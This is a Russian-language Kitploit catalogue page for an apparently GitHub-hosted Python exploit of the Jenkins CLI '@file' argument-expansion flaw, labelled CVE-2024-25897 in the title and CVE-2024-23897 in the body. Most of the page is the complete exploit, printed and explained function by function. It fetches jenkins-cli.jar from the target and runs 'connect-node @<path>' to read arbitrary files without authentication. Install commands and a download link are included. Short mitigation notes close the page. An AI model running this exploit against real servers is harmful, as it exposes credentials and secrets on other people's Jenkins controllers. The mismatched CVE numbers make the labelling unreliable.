Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-25897 — эксплойт который эксплуатирует Jenkins написанный на Python | Kitploit
Инструменты/GitHubGitHub/i-100-user/cve-2024-25897
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubi-100-user/cve-2024-25897

CVE-2024-25897

эксплойт который эксплуатирует Jenkins написанный на Python

Репозиторий
222 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

banner

img1

параметры ip, puerto, ruta

img2

вывод эксплоита

img3

Панель справки

объяснение эксплоита

Вот объяснение кода в Markdown:

Объяснение кода

Этот скрипт предназначен для эксплуатации конкретной уязвимости в Jenkins (CVE-2024-23897). Он позволяет загрузить JAR-файл с сервера Jenkins и выполнить полезную нагрузку для подключения узла Jenkins. Ниже объясняется каждая часть кода:

Импорт модулей

import argparse
import requests
import os
import subprocess
import sys
  • argparse: Для обработки аргументов командной строки.
  • requests: Для выполнения HTTP-запросов.
  • os: Для взаимодействия с операционной системой.
  • subprocess: Для выполнения системных команд.
  • sys: Для взаимодействия с интерпретатором Python.

Функция banner

def banner():
    """
    Выводит декоративный баннер для инструмента.
    """
    text = """
   ______     _______     ____   ___ ____  _  _        ____  _____  ___  ___ _____       _            _    _           
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \|___ / ( _ )/ _ \___  |     | | ___ _ __ | | _(_)_ __  ___ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / /   _  | |/ _ \ '_ \| |/ / | '_ \/ __|
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ ___) | (_) \__, |/ /   | |_| |  __/ | | |   <| | | | \__|
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|____/ \___/  /_//_/     \___/ \___|_| |_|_|\_\_|_| |_|___/
 """
    print(text)

Эта функция выводит декоративный баннер в начале скрипта.

Функция descargar_jar

def descargar_jar(ip, puerto):
    """
    Скачивает файл jenkins-cli.jar с указанного сервера Jenkins.

    Аргументы:
        ip (str): IP-адрес сервера Jenkins.
        puerto (str): Порт сервера Jenkins.

    Возвращает:
        bool: True, если скачивание успешно, иначе False.
    """
    url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as archivo_jar:
                archivo_jar.write(response.content)
            return True
        else:
            print(f"\n[-] Не удалось скачать файл. Код состояния: {response.status_code}")
            return False
    except requests.RequestException as errorhttp:
        print(f"\n[-] Ошибка при выполнении запроса: {errorhttp}")
        return False

Эта функция скачивает файл jenkins-cli.jar с сервера Jenkins, указанного по IP-адресу и порту. Если скачивание успешно, сохраняет файл в систему и возвращает True; в противном случае возвращает False.

Функция attack_payload

def attack_payload(ip, puerto, ruta):
    """
    Выполняет полезную нагрузку для подключения узла Jenkins.

    Аргументы:
        ip (str): IP-адрес сервера Jenkins.
        puerto (str): Порт сервера Jenkins.
        ruta (str): Путь для чтения файла.
    """
    archivo_jar = "jenkins-cli.jar"
    payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(archivo_jar)
    except subprocess.CalledProcessError as error_payload:
        print(f"\n[-] Ошибка при попытке подключения узла: {error_payload}\n")

Эта функция выполняет команду для подключения узла Jenkins с использованием файла jenkins-cli.jar. После выполнения команды удаляет JAR-файл. Если при выполнении возникает ошибка, выводится сообщение об ошибке.

Функция main

def main():
    """
    Главная функция, которая разбирает аргументы и выполняет соответствующие функции.
    """
    parser = argparse.ArgumentParser(description="\n[+] Эксплоит для CVE-2024-23897\n")
    parser.add_argument("ip", type=str, help="\n[+] IP-адрес сервера Jenkins\n")
    parser.add_argument("puerto", type=str, help="\n[+] Порт сервера Jenkins\n")
    parser.add_argument("ruta", type=str, help="\n[+] Путь для чтения файла\n")
    args = parser.parse_args()

    ip = args.ip
    puerto = args.puerto
    ruta = args.ruta

    banner()

    if descargar_jar(ip, puerto):
        attack_payload(ip, puerto, ruta)
    else:
        sys.exit(1)

Главная функция скрипта:

  1. Разбирает аргументы командной строки (ip, puerto, ruta).
  2. Вызывает функцию banner для вывода баннера.
  3. Вызывает функцию descargar_jar для скачивания JAR-файла.
  4. Если скачивание успешно, вызывает функцию attack_payload для выполнения полезной нагрузки; в противном случае завершает скрипт с кодом выхода 1.

Запуск скрипта

if __name__ == '__main__':
    main()

Этот блок гарантирует, что функция main выполняется только при прямом запуске скрипта, а не при его импорте как модуля.

Краткое описание

Этот скрипт является инструментом для эксплуатации уязвимости в Jenkins. Он скачивает JAR-файл с сервера Jenkins и использует его для выполнения полезной нагрузки, подключающей узел Jenkins. Необходимые аргументы (ip, puerto, ruta) передаются через командную строку.

Вот список необходимых библиотек с командами pip install для каждой:

Необходимые библиотеки

  • argparse: Эта библиотека входит в стандартную библиотеку Python, поэтому устанавливать её не нужно.

  • requests: Для выполнения HTTP-запросов.

    pip install requests
    
  • os: Эта библиотека входит в стандартную библиотеку Python, поэтому устанавливать её не нужно.

  • subprocess: Эта библиотека входит в стандартную библиотеку Python, поэтому устанавливать её не нужно.

  • sys: Эта библиотека входит в стандартную библиотеку Python, поэтому устанавливать её не нужно.

Установка библиотек

pip install requests

CVE-2024-23897 — это уязвимость в Jenkins, популярном инструменте автоматизации и CI/CD. Эта уязвимость затрагивает Jenkins версий 2.441 и ниже, а также версии LTS 2.426.2 и ниже.

Описание уязвимости:

  • Затронутая функция: Анализатор команд CLI Jenkins.
  • Проблема: Не отключает функцию, позволяющую заменять символ '@', за которым следует путь к файлу в аргументе, содержимым этого файла.
  • Воздействие: Позволяет неаутентифицированным злоумышленникам читать произвольные файлы в файловой системе контроллера Jenkins.
  • Риск: Злоумышленник может получить доступ к конфиденциальной информации на сервере Jenkins, что может привести к дальнейшей компрометации системы.

Пример эксплуатации:

  1. Злоумышленник отправляет команду CLI в Jenkins, содержащую @/ruta/del/archivo.
  2. Анализатор команд Jenkins интерпретирует @/ruta/del/archivo и заменяет этот аргумент содержимым указанного файла.
  3. Злоумышленник получает содержимое файла без необходимости аутентификации.

Меры по смягчению:

  • Обновление Jenkins: Установить более новые версии, в которых исправлена эта уязвимость.
  • Настройки безопасности: Пересмотреть и ограничить доступ к CLI Jenkins, убедившись, что только аутентифицированные и доверенные пользователи могут использовать эту функцию.

Обновление и правильная настройка Jenkins имеют решающее значение для защиты системы от этой уязвимости.

Скачать инструмент